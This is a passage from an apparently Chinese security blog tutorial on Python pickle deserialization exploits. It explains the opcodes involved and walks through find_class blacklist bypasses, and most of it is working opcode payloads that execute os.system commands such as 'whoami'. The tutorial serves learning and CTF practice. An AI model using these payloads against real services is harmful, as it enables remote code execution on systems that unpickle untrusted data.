class="params">self</span>):</span><br><span class="line">    module = self.readline()[:-<span class="number">1</span>].decode(<span class="string">&quot;ascii&quot;</span>)</span><br><span class="line">    name = self.readline()[:-<span class="number">1</span>].decode(<span class="string">&quot;ascii&quot;</span>)</span><br><span class="line">    klass = self.find_class(module, name)</span><br><span class="line">    self._instantiate(klass, self.pop_mark())</span><br></pre></td></tr></table></figure></div><p>源码不是很容易懂， <code>i</code>  像是 <code>o</code>  和 <code>c</code>  的结合，先获取一个全局函数，然后寻找栈中的上一个 MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）.</p><h5 id="b操作符"><a class="markdownIt-Anchor" href="#b操作符">#</a>  <code>b</code>  操作符</h5><p>简单地说， <code>b</code>  操作符有两种用法</p><ol><li>向一个实例中插入属性，或覆盖属性</li><li>以一个实例的 <code>__setstate__</code> 属性为 <code>func</code> , <code>b</code>  的前一个元素当作 <code>arg</code> , 执行 <code>func(arg)</code></li></ol><p><code>b</code>  操作符的工作方式:</p><ol><li>弹栈，此元素为 <code>state</code> .</li><li>取栈顶元素，此元素为 <code>setstate</code> . 此元素可以是一个实例，也可以是一个字典。如果是一个实例，那么会尝试获取这个实例的 <code>__setstate__</code> 属性的值.</li><li>如果 <code>__setstate__</code> 存在，那么执行 <code>setstate(state)</code> .</li><li>如果 <code>__setstate__</code> 不存在，判断 <code>state</code>  的类型。如果是元组，并且元组中只有两个元素，那么就按顺序给 <code>state</code>  和 <code>slotstate</code>  赋元组中的元素，然后根据 <code>state</code>  字典中的键值对给 <code>inst.__dict__</code> 更新属性的值。如果 <code>slotstate</code>  是一个字典，那么也根据 <code>slotstate</code>  的键值对给 <code>inst</code>  更新属性的值.</li><li>如果不是元组，那么就根据 <code>state</code>  字典中的值更新 <code>inst.__dict__</code> 的值.</li></ol><p><code>b</code>  操作符的使用模板</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">b&#x27;c__main__\ns1nk\n)\x81&#125;X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.&#x27;</span><br></pre></td></tr></table></figure></div><p>用 pickletools 看一下过程.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0</span>: c    GLOBAL     <span class="string">&#x27;__main__ s1nk&#x27;</span> <span class="comment">#引入一个模块</span></span><br><span class="line">   <span class="number">15</span>: )    EMPTY_TUPLE   <span class="comment">#压入一个空元组</span></span><br><span class="line">   <span class="number">16</span>: \x81 NEWOBJ        <span class="comment">#创建一个c引入模块的实例,并以元组作为传入的元素</span></span><br><span class="line">   <span class="number">17</span>: &#125;    EMPTY_DICT    <span class="comment">#压入一个空字典</span></span><br><span class="line">   <span class="number">18</span>: X    BINUNICODE <span class="string">&#x27;__setstate__&#x27;</span>  <span class="comment">#压入一个字符串&quot;__setstate__”</span></span><br><span class="line">   <span class="number">35</span>: c    GLOBAL     <span class="string">&#x27;os system&#x27;</span>     <span class="comment">#压入一个os.system模块</span></span><br><span class="line">   <span class="number">46</span>: s    SETITEM                    <span class="comment">#弹出两个元素,分别作为value和key,再取当前栈顶元素为dict,dict[key]=value</span></span><br><span class="line">   <span class="number">47</span>: b    BUILD                      <span class="comment">#实例没有__setstate__属性,那么就把字典的键值对赋给实例</span></span><br><span class="line">   <span class="number">48</span>: X    BINUNICODE <span class="string">&#x27;whoami&#x27;</span>        <span class="comment">#压入字符串&quot;whoami”</span></span><br><span class="line">   <span class="number">59</span>: b    BUILD                      <span class="comment">#实例有__setstate__属性,执行了os.system(whoami)</span></span><br><span class="line">   <span class="number">60</span>: .    STOP</span><br><span class="line">highest protocol among opcodes = <span class="number">2</span></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">c__main__</span><br><span class="line">name</span><br><span class="line">&#125;(S<span class="string">&quot;__setstate__&quot;</span>    <span class="comment"># &#125; 压入空dict __setstate__，然后 c push进去我们的 os.system</span></span><br><span class="line">cos</span><br><span class="line">system</span><br><span class="line">ubS<span class="string">&quot;calc&quot;</span>  <span class="comment"># 执行第一次 b ，因为现在并没有 b ，所以执行 __dict__.update，也就是将我们前面的 &#123;&quot;__setstate__&quot;:os.system&#125; 压入栈</span></span><br><span class="line">b.         <span class="comment"># 再次执行 b 由于已经有了__setstate__，所以会将栈中字节码 b 的前一个元素当作 state，执行__setstate__(state)，</span></span><br></pre></td></tr></table></figure></div><p>这个 payload 看似是可行的，但是具体运行时会报错 <code>TypeError: 'mappingproxy' object does not support item assignment</code> .</p><p>在 Python 中，使用 <code>class.__dict__</code> 调用一个类的属性会返回一个不可变字典 (mappingproxy), 如果对这个字典进行更新就会报错。那么第一个 payload 为什么能用呢？？</p><blockquote><p>所有实例属性都存储在 <strong>dict</strong> 字典中，这就是一个常规的 dict，对于实例属性的维护即是从该字典中获取和修改</p><p>类属性使用的字典是一个 MappingProxyType 对象，它是一个不能 setattr 的字典。这意味着它对开发者是只读的.</p></blockquote><p>也就是说，我们只能修改一个实例的 <code>inst.__dict__</code> , 而不能修改一个类的 <code>class.__dict__</code> .</p><p>重点关注 <code>\x81</code>  这个操作符。这个 payload 通过 <code>\x81</code>  操作符对 <code>c</code>  引入的 <code>__main__.s1nk</code>  实例化，进而实现了对 <code>__main__.s1nk</code>  一个实例的属性的修改.</p><h4 id="重写find_class的"><a class="markdownIt-Anchor" href="#重写find_class的">#</a> 重写 <code>find_class()</code>  的</h4><h5 id="思路一-获取危险函数"><a class="markdownIt-Anchor" href="#思路一-获取危险函数">#</a> 思路一 获取危险函数</h5><p>这种过滤终究是针对了 <code>find_class()</code>  函数，只要我们在使用 <code>c</code>  操作符和 <code>i</code>  时不违反规定即可。在本题中是不能通过 <code>find_class()</code>  函数调用黑名单中的函数.</p><p>和 SSTI 和沙箱逃逸的思路类似，可以通过构造类对象链调用某些方法中含有危险函数的类实现绕过。我们只需要构造形如 <code>builtins.getattr(builtins,&quot;eval&quot;)(command)</code>  的 payload 即可实现绕过。在 pickle 反序列化中的一个难点就是如何用 opcode 表示出我们需要的命令.</p><p><strong>利用</strong> <code>sys.module</code> <strong> 获取危险函数</strong></p><p><code>sys.module</code>  是一个全局字典，其主要用于存储已经被加载到当前会话中的你快。这个知识点会在学习沙箱逃逸的时候重点学习. <code>sys.modules</code>  这个字典的键是模块名，值是模块本身。所以我们可以通过 <code>get(sys.modules,&quot;moduleName&quot;)</code>  的方法获取危险模块</p><p>payload 是 <code>builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)</code></p><p>写成 opcode 就是这样的</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">geteval = <span class="string">b&#x27;&#x27;&#x27;cbuiltins</span></span><br><span class="line"><span class="string">getattr</span></span><br><span class="line"><span class="string">(cbuiltins</span></span><br><span class="line"><span class="string">getattr</span></span><br><span class="line"><span class="string">(cbuiltins</span></span><br><span class="line"><span class="string">dict</span></span><br><span class="line"><span class="string">S&#x27;get&#x27;</span></span><br><span class="line"><span class="string">tR(cbuiltins</span></span><br><span class="line"><span class="string">globals</span></span><br><span class="line"><span class="string">)RS&#x27;__builtins__&#x27;</span></span><br><span class="line"><span class="string">tRS&#x27;eval&#x27;</span></span><br><span class="line"><span class="string">tR(S&#x27;__import__(&quot;os&quot;).system(&quot;whoami&quot;)&#x27;</span></span><br><span class="line"><span class="string">tR.</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure></div><p>如果用 pker 生成 opcode 的话就是这样的</p><p>payload&quot; <code>getattr(builtins.dict,&quot;get&quot;)(sys.modules,&quot;os&quot;).system(&quot;whoami&quot;)</code></p><p>给 pker 的输入</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">getattr</span>=GLOBAL(<span class="string">&#x27;builtins&#x27;</span>,<span class="string">&#x27;getattr&#x27;</span>)</span><br><span class="line"><span class="built_in">dict</span>=GLOBAL(<span class="string">&#x27;builtins&#x27;</span>,<span class="string">&#x27;dict&#x27;</span>)</span><br><span class="line">get=<span class="built_in">getattr</span>(<span class="built_in">dict</span>,<span class="string">&#x27;get&#x27;</span>)</span><br><span class="line">mod=GLOBAL(<span class="string">&#x27;sys&#x27;</span>,<span class="string">&#x27;modules&#x27;</span>)</span><br><span class="line">os=get(mod,<span class="string">&#x27;os&#x27;</span>)</span><br><span class="line">system=<span class="built_in">getattr</span>(os,<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">system(<span class="string">&quot;whoami&quot;</span>)</span><br><span class="line"><span class="keyword">return</span></span><br></pre></td></tr></table></figure></div><p>用 pker 写成 opcode</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">opcode=<span class="string">b&quot;cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS&#x27;get&#x27;\ntRp2\n0csys\nmodules\np3\n0g2\n(g3\nS&#x27;os&#x27;\ntRp4\n0g0\n(g4\nS&#x27;system&#x27;\ntRp5\n0g5\n(S&#x27;whoami&#x27;\ntR.&quot;</span></span><br></pre></td></tr></table></figure></div><h6 id="利用builtinsglobals获取危险函数"><a class="markdownIt-Anchor" href="#利用builtinsglobals获取危险函数">#</a> 利用 <code>builtins.globals()</code>  获取危险函数.</h6><p>还可以用 builtins 的 <code>globals()</code>  方法获取危险函数. <code>globals()</code>  方法返回一个字典</p><blockquote><p>返回的字典包含了所有全局作用域内的名称（键）及其对应的值（值）. 这个字典反映了当前模块全局命名空间的状态</p></blockquote><p>其中固然也包含了一些危险模块.</p><p>pker 的输入</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">globa1=GLOBAL(<span class="string">&quot;builtins&quot;</span>,<span class="string">&quot;globals&quot;</span>)</span><br><span class="line">glob=globa1()</span><br><span class="line"><span class="built_in">dict</span>=GLOBAL(<span class="string">&quot;builtins&quot;</span>,<span class="string">&quot;dict&quot;</span>)</span><br><span class="line"><span class="built_in">getattr</span>=GLOBAL(<span class="string">&quot;builtins&quot;</span>,<span class="string">&quot;getattr&quot;</span>)</span><br><span class="line">get=<span class="built_in">getattr</span>(<span class="built_in">dict</span>,<span class="string">&quot;get&quot;</span>)</span><br><span class="line">builtins=get(glob,<span class="string">&quot;__builtins__&quot;</span>)</span><br><span class="line"><span class="built_in">eval</span>=<span class="built_in">getattr</span>(builtins,<span class="string">&quot;eval&quot;</span>)</span><br><span class="line"><span class="built_in">eval</span>(<span class="string">&#x27;__import__(&quot;os&quot;).system(&quot;whoami&quot;)&#x27;</span>)</span><br><span class="line"><span class="keyword">return</span></span><br></pre></td></tr></table></figure></div><p>生成的 opcode</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">output=<span class="string">b&#x27;cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS\&#x27;get\&#x27;\ntRp4\n0g4\n(g1\nS\&#x27;__builtins__\&#x27;\ntRp5\n0g3\n(g5\nS\&#x27;eval\&#x27;\ntRp6\n0g6\n(S\&#x27;__import__(&quot;os&quot;).system(&quot;whoami&quot;)\&#x27;\ntR.&#x27;</span></span><br></pre></td></tr></table></figure></div><p><code>R</code>  操作符被过滤时，可以使用如下 payload:</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">opcode=<span class="string">b&#x27;\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbu</span></span><br></pre></td></tr></table></figure></div><h5 id="思路二-获取没有被重写的pickleloads函数"><a class="markdownIt-Anchor" href="#思路二-获取没有被重写的pickleloads函数">#</a> 思路二 获取没有被重写的 <code>pickle.loads</code>  函数</h5><p>构造的 payload  <code>builtins.dict.get(builtins.globals(),&quot;pickle&quot;).loads()</code>  但是这个思路有个 bug, <code>loads()</code>  函数只能传入 <code>byte</code>  类型的字符串。所以对于 v0 的 opcode 必须要引入其他函数来改变字符串类型。这就导致可能不能很好地绕过 <code>find_class()</code>  的重写。好在在 v3 的 opcode 中有 <code>B</code>  和 <code>C</code>  操作符可以向栈中压入 byte 类型的字符串。但是 pker 不能直接调用操作符。就需要我们自己手搓.</p><p>pker 的输入</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">funcglob=GLOBAL(<span class="string">&quot;builtins&quot;</span>,<span class="string">&quot;globals&quot;</span>)</span><br><span class="line">glob=funcglob()</span><br><span class="line"><span class="built_in">dict</span>=GLOBAL(<span class="string">&quot;builtins&quot;</span>,<span class="string">&quot;dict&quot;</span>)</span><br><span class="line"><span class="built_in">getattr</span>=GLOBAL(<span class="string">&quot;builtins&quot;</span>,<span class="string">&quot;getattr&quot;</span>)</span><br><span class="line">get=<span class="built_in">getattr</span>(<span class="built_in">dict</span>,<span class="string">&quot;get&quot;</span>)</span><br><span class="line">pickle=get(glob,<span class="string">&quot;pickle&quot;</span>)</span><br><span class="line">loads=<span class="built_in">getattr</span>(pickle,<span class="string">&quot;loads&quot;</span>)</span><br><span class="line">loads(<span class="string">&quot;bytestr&quot;</span>)</span><br><span class="line">opcode=<span class="string">b&quot;cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS&#x27;get&#x27;\ntRp4\n0g4\n(g1\nS&#x27;pickle&#x27;\ntRp5\n0g3\n(g5\nS&#x27;loads&#x27;\ntRp6\n0g6\n(S&#x27;bytestr&#x27;\ntR&quot;</span></span><br></pre></td></tr></table></figure></div><p>这里需要把生成的 opcode 的 <code>S'bytestr'</code>  改成 byte 字符串，用了 <code>B</code></p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">opcode=<span class="string">b&quot;cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS&#x27;get&#x27;\ntRp4\n0g4\n(g1\nS&#x27;pickle&#x27;\ntRp5\n0g3\n(g5\nS&#x27;loads&#x27;\ntRp6\n0g6\n(B\x0E\x00\x00\x00youropcodehere\ntR&quot;</span></span><br></pre></td></tr></table></figure></div><h4 id="绕过显式字符串检测"><a class="markdownIt-Anchor" href="#绕过显式字符串检测">#</a> 绕过显式字符串检测</h4><p><code>V</code>  操作符可以进行 unicode 编码</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Vsecr\u0065t</span><br><span class="line">#secret</span><br></pre></td></tr></table></figure></div><p><code>S</code>  操作符可以识别十六进制</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">S&#x27;\x73ecret&#x27;</span><br><span class="line">#secret</span><br></pre></td></tr></table></figure></div><h4 id="使用内置函数绕过"><a class="markdownIt-Anchor" href="#使用内置函数绕过">#</a> 使用内置函数绕过</h4><p>涉及到一对概念：可迭代对象 (iterable) 和迭代器 (iterator). 最经典的迭代器就是 python 中的 for 循环.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> iterator</span><br><span class="line">    ......</span><br></pre></td></tr></table></figure></div><p>在 python 中有很多可迭代对象</p><ol><li>序列类型：<ul><li>列表（List）:  <code>[1, 2, 3, 4, 5]</code></li><li>元组（Tuple）:  <code>(1, 2, 3)</code></li><li>字符串（String）:  <code>&quot;Hello, World&quot;</code></li></ul></li><li>映射类型：<ul><li>字典（Dictionary）:  <code>&#123;1: 'One', 2: 'Two'&#125;</code></li><li>注意：虽然字典本身不是可迭代的（字典迭代实质上是迭代其键，使用  <code>keys()</code> 、 <code>values()</code>  或  <code>items()</code>  方法可以分别迭代键、值或键值对），但从 Python 3.3 开始，字典也成为了可迭代对象，迭代时会返回其键。</li></ul></li><li>集合类型：<ul><li>集合（Set）:  <code>&#123;1, 2, 3&#125;</code></li><li>frozenset（不可变集合）:  <code>frozenset(&#123;1, 2, 3&#125;)</code></li></ul></li><li>迭代器类型：<ul><li>自定义迭代器类（实现了 <code>__iter__()</code>  和 <code>__next__()</code>  方法）</li><li>内置迭代器对象，如  <code>range(5)</code>  或者通过  <code>iter()</code>  函数创建的迭代器</li></ul></li><li>文件对象：<ul><li>打开的文本文件或二进制文件，可通过逐行读取进行迭代</li></ul></li><li>生成器表达式：<ul><li><code>(x*x for x in range(5))</code></li></ul></li><li>其他内置可迭代对象：<ul><li>enumerate 对象 ( <code>enumerate(list)</code> )</li><li>zip 对象 ( <code>zip(list1, list2)</code> )</li><li>reversed 对象 ( <code>reversed(list)</code> )</li></ul></li></ol><p>只要一个对象实现了  <code>__iter__()</code>  方法且该方法返回一个迭代器对象，那么这个对象就被认为是可迭代的。在 Python 中，可以使用  <code>isinstance(obj, collections.abc.Iterable)</code>  来检查一个对象是否是可迭代的。</p><p>具体的利用参照这个 payload</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">next</span>(<span class="built_in">dir</span>(sys.modules[<span class="string">&#x27;os&#x27;</span>]))</span><br><span class="line"> TypeError: <span class="string">&#x27;list&#x27;</span> <span class="built_in">object</span> <span class="keyword">is</span> <span class="keyword">not</span> an iterator</span><br><span class="line"><span class="comment">#如果直接运行这个的话会抛出一个TypeError: &#x27;list&#x27; object is not an iterator</span></span><br><span class="line"><span class="comment">#原因是虽然list是可迭代的,但是他并不是一个迭代器,他并没有__call__函数</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">next</span>(<span class="built_in">iter</span>(<span class="built_in">dir</span>(sys.modules[<span class="string">&#x27;os&#x27;</span>])))</span><br><span class="line"><span class="string">&#x27;DirEntry&#x27;</span></span><br><span class="line"><span class="comment">#这才是正确的payload</span></span><br><span class="line"><span class="comment">#如果想倒着遍历这个列表的话,可以使用reversed()这个函数</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">next</span>(<span class="built_in">reversed</span>(<span class="built_in">dir</span>(sys.modules[<span class="string">&#x27;os&#x27;</span>])))</span><br><span class="line"><span class="string">&#x27;write&#x27;</span></span><br></pre></td></tr></table></figure></div><p>直接手搓比用 pker 舒服多了</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">opcode=<span class="string">b&quot;&quot;&quot;(((c__main__</span></span><br><span class="line"><span class="string">secret</span></span><br><span class="line"><span class="string">i__builtins__</span></span><br><span class="line"><span class="string">dir</span></span><br><span class="line"><span class="string">i__builtins__</span></span><br><span class="line"><span class="string">reversed</span></span><br><span class="line"><span class="string">i__builtins__</span></span><br><span class="line"><span class="string">next</span></span><br><span class="line"><span class="string">.&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure></div><p>只用到了 <code>c</code>  和 <code>i</code> , 遥遥领先</p><h5 id="使用类的__new__构造方法绕过"><a class="markdownIt-Anchor" href="#使用类的__new__构造方法绕过">#</a> 使用类的 <code>__new__()</code>  构造方法绕过</h5><p>着重注意这个操作符</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NEWOBJ = b&#x27;\x81&#x27;#(这个很有用)  #从栈中弹出两次变量,第一次弹出的变量记为var1,第二次弹出的变量记为var2,然后就会通过cls.__new__(var2, *var1)生成实例化对象,然后将生成的对象压栈</span><br></pre></td></tr></table></figure></div><p>他是可以触发类的 <code>__new__()</code>  函数的，所以在某些时候可以寻找可用的 <code>__new__()</code>  方法进行绕过。在下一个方法中，我们正是用了这一点才代替 <code>__next__()</code>  方法进行迭代.</p><h5 id="使用mapfilter函数绕过"><a class="markdownIt-Anchor" href="#使用mapfilter函数绕过">#</a> 使用 <code>map()</code> , <code>filter()</code>  函数绕过</h5><p>两个函数都是 python 的内置函数。首先来看 <code>map()</code>  和 <code>filter()</code>  是什么</p><p>map(<em>function</em>, <em>iterable</em>, *<em>iterables</em>)</p><blockquote><p>返回一个将 <em>function</em> 应用于 <em>iterable</em> 的每一项，并产生其结果的迭代器。 如果传入了额外的 <em>iterables</em> 参数，则 <em>function</em> 必须接受相同个数的参数并被用于到从所有可迭代对象中并行获取的项。 当有多个可迭代对象时，当最短的可迭代对象耗尽则整个迭代将会停止。</p></blockquote><p>filter(<em>function</em>, <em>iterable</em>)</p><blockquote><p>使用 <em>iterable</em> 中 <em>function</em> 返回真值的元素构造一个迭代器。 <em>iterable</em> 可以是一个序列，一个支持迭代的容器或者一个迭代器。 如果 <em>function</em> 为  <code>None</code> ，则会使用标识号函数，也就是说，<em>iterable</em> 中所有具有假值的元素都将被移除。</p><p>请注意，  <code>filter(function, iterable)</code>  相当于一个生成器表达式，当 function 不是  <code>None</code>  的时候为  <code>(item for item in iterable if function(item))</code> ；function 是  <code>None</code>  的时候为  <code>(item for item in iterable if item)</code>  。</p></blockquote><p>注意这两个函数都返回一个迭代器，所以我们需要使用 <code>list()</code>  函数将其变为一个列表输出.</p><p>payload</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">map</span>(<span class="built_in">eval</span>,[<span class="built_in">__import__</span>(<span class="string">&quot;os&quot;</span>).system(<span class="string">&quot;whoami&quot;</span>)])</span><br><span class="line"><span class="built_in">list</span>(<span class="built_in">map</span>(<span class="built_in">eval</span>,[<span class="string">&#x27;__import__(&quot;os&quot;).system(&quot;whoami&quot;)&#x27;</span>]))</span><br></pre></td></tr></table></figure></div><p><code>map()</code>  和 <code>filter()</code>  创造的迭代器有一个叫做 &quot; 懒惰” 的特性，也就是需要迭代一次，才能让 <code>func</code>  调用 <code>iterator</code>  里的值。所以我们就需要使用 <code>__next__()</code>  方法对 <code>map()</code>  创建的迭代器进行迭代</p><p>payload:</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">bytes</span>.__new__(<span class="built_in">bytes</span>, <span class="built_in">map</span>.__new__(<span class="built_in">map</span>, <span class="built_in">eval</span>, [<span class="string">&#x27;print(1)&#x27;</span>]))  <span class="comment"># bytes_new-&gt;PyBytes_FromObject-&gt;_PyBytes_FromIterator-&gt;PyIter_Next</span></span><br><span class="line"><span class="built_in">tuple</span>.__new__(<span class="built_in">tuple</span>, <span class="built_in">map</span>.__new__(<span class="built_in">map</span>, <span class="built_in">exec</span>, [<span class="string">&quot;print(&#x27;1&#x27;)&quot;</span>]))  <span class="comment"># tuple_new_impl-&gt;PySequence_Tuple-&gt;PyIter_Next</span></span><br></pre></td></tr></table></figure></div><p>这样就可以通过 <code>__new__()</code>  方法对 <code>map()</code>  生成的迭代器进行迭代了.</p><p>opcode:</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">opcode=<span class="string">b&#x27;&#x27;&#x27;c__builtin__</span></span><br><span class="line"><span class="string">map</span></span><br><span class="line"><span class="string">p0</span></span><br><span class="line"><span class="string">0(S&#x27;whoami&#x27;</span></span><br><span class="line"><span class="string">tp1</span></span><br><span class="line"><span class="string">0(cos</span></span><br><span class="line"><span class="string">system</span></span><br><span class="line"><span class="string">g1</span></span><br><span class="line"><span class="string">tp2</span></span><br><span class="line"><span class="string">0g0</span></span><br><span class="line"><span class="string">g2</span></span><br><span class="line"><span class="string">\x81p3</span></span><br><span class="line"><span class="string">0c__builtin__</span></span><br><span class="line"><span class="string">tuple</span></span><br><span class="line"><span class="string">p4</span></span><br><span class="line"><span class="string">(g3</span></span><br><span class="line"><span class="string">t\x81.&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure></div><p>还有</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">opcode=<span class="string">b&#x27;&#x27;&#x27;c__builtin__</span></span><br><span class="line"><span class="string">map</span></span><br><span class="line"><span class="string">p0</span></span><br><span class="line"><span class="string">0(S&#x27;whoami&#x27;</span></span><br><span class="line"><span class="string">tp1</span></span><br><span class="line"><span class="string">0(cos</span></span><br><span class="line"><span class="string">system</span></span><br><span class="line"><span class="string">g1</span></span><br><span class="line"><span class="string">tp2</span></span><br><span class="line"><span class="string">0g0</span></span><br><span class="line"><span class="string">g2</span></span><br><span class="line"><span class="string">\x81p3</span></span><br><span class="line"><span class="string">0c__builtin__</span></span><br><span class="line"><span class="string">bytes</span></span><br><span class="line"><span class="string">p4</span></span><br><span class="line"><span class="string">(g3</span></span><br><span class="line"><span class="string">t\x81.&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure></div><h3 id="后话"><a class="markdownIt-Anchor" href="#后话">#</a> 后话</h3><p>先知的文章质量真好啊</p><p>以上参考<a class="link" href="https://xz.aliyun.com/t/14061?time__1311=GqAxuDRD0iwxlEzG7DyGDgiR7e0Kmi3x"> pickle 反序列化漏洞基础知识与绕过简析 - 先知社区 (aliyun.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>有点期待先知 2.0 了</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410202113086.jpg" alt="fea94de804bf93dd46f2ff8fce387ca"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;pickle&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#pickle&quot;&gt;#&lt;/a&gt; pickle&lt;/h2&gt;
&lt;p&gt;pickle 是 Python 的一个库，可以对一个对象进行序列化和反序列化操作。其中 &lt;code&gt;__reduce_</summary>
      
    
    
    
    <category term="Web Vulnerabilities" scheme="http://example.com/categories/Web-Vulnerabilities/"/>
    
    
  </entry>
  
  <entry>
